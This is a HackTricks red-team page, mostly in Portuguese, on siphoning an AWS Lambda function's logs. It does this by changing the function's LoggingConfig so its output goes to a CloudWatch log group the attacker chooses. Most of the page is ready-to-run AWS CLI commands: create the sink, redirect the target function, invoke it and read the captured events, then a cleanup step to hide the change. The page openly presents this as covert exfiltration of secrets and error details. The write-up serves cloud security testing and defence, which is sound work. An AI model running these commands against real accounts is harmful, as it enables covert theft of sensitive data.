AWS Lambda – Log Siphon via LoggingConfig.LogGroup Redirection

Reading time: 3 minutes

tip

Aprenda e pratique Hacking AWS:HackTricks Training AWS Red Team Expert (ARTE)
Aprenda e pratique Hacking GCP: HackTricks Training GCP Red Team Expert (GRTE) Aprenda e pratique Hacking Azure: HackTricks Training Azure Red Team Expert (AzRTE)

Support HackTricks

Abuse os controles avançados de logging lambda:UpdateFunctionConfiguration para redirecionar os logs de uma função para um log group do CloudWatch Logs escolhido pelo atacante. Isso funciona sem alterar o código ou a execution role (a maioria das roles do Lambda já inclui logs:CreateLogGroup/CreateLogStream/PutLogEvents via AWSLambdaBasicExecutionRole). Se a função imprimir segredos/corpos de requisição ou travar com stack traces, você pode coletá-los do novo log group.

Required permissions

  • lambda:UpdateFunctionConfiguration
  • lambda:GetFunctionConfiguration
  • lambda:InvokeFunction (ou contar com triggers existentes)
  • logs:CreateLogGroup (frequentemente não necessário se a role da função já tiver)
  • logs:FilterLogEvents (para ler os eventos)

Steps

  1. Crie um log group de destino
aws logs create-log-group --log-group-name "/aws/hacktricks/ht-log-sink" --region us-east-1 || true
  1. Redirecionar os logs da função alvo
aws lambda update-function-configuration \
--function-name <TARGET_FN> \
--logging-config LogGroup=/aws/hacktricks/ht-log-sink,LogFormat=JSON,ApplicationLogLevel=DEBUG \
--region us-east-1

Aguarde até que LastUpdateStatus se torne Successful:

aws lambda get-function-configuration --function-name <TARGET_FN> \
--query LastUpdateStatus --output text
  1. Invocar e ler do sink
aws lambda invoke --function-name <TARGET_FN> /tmp/out.json --payload '{"ht":"log"}' --region us-east-1 >/dev/null
sleep 5
aws logs filter-log-events --log-group-name "/aws/hacktricks/ht-log-sink" --limit 50 --region us-east-1 --query 'events[].message' --output text

Impacto

  • Redirecionar sigilosamente todos os logs de aplicação/sistema para um log group que você controla, contornando a expectativa de que os logs só apareçam em /aws/lambda/<fn>.
  • Exfiltrate dados sensíveis impressos pela função ou expostos em erros.

Limpeza

aws lambda update-function-configuration --function-name <TARGET_FN> \
--logging-config LogGroup=/aws/lambda/<TARGET_FN>,LogFormat=Text,ApplicationLogLevel=INFO \
--region us-east-1 || true

Notas

  • Os controles de logging fazem parte do LoggingConfig do Lambda (LogGroup, LogFormat, ApplicationLogLevel, SystemLogLevel).
  • Por padrão, o Lambda envia logs para /aws/lambda/<function>, mas você pode apontar para qualquer nome de log group; o Lambda (ou a função de execução) irá criá-lo se permitido.

tip

Aprenda e pratique Hacking AWS:HackTricks Training AWS Red Team Expert (ARTE)
Aprenda e pratique Hacking GCP: HackTricks Training GCP Red Team Expert (GRTE) Aprenda e pratique Hacking Azure: HackTricks Training Azure Red Team Expert (AzRTE)

Support HackTricks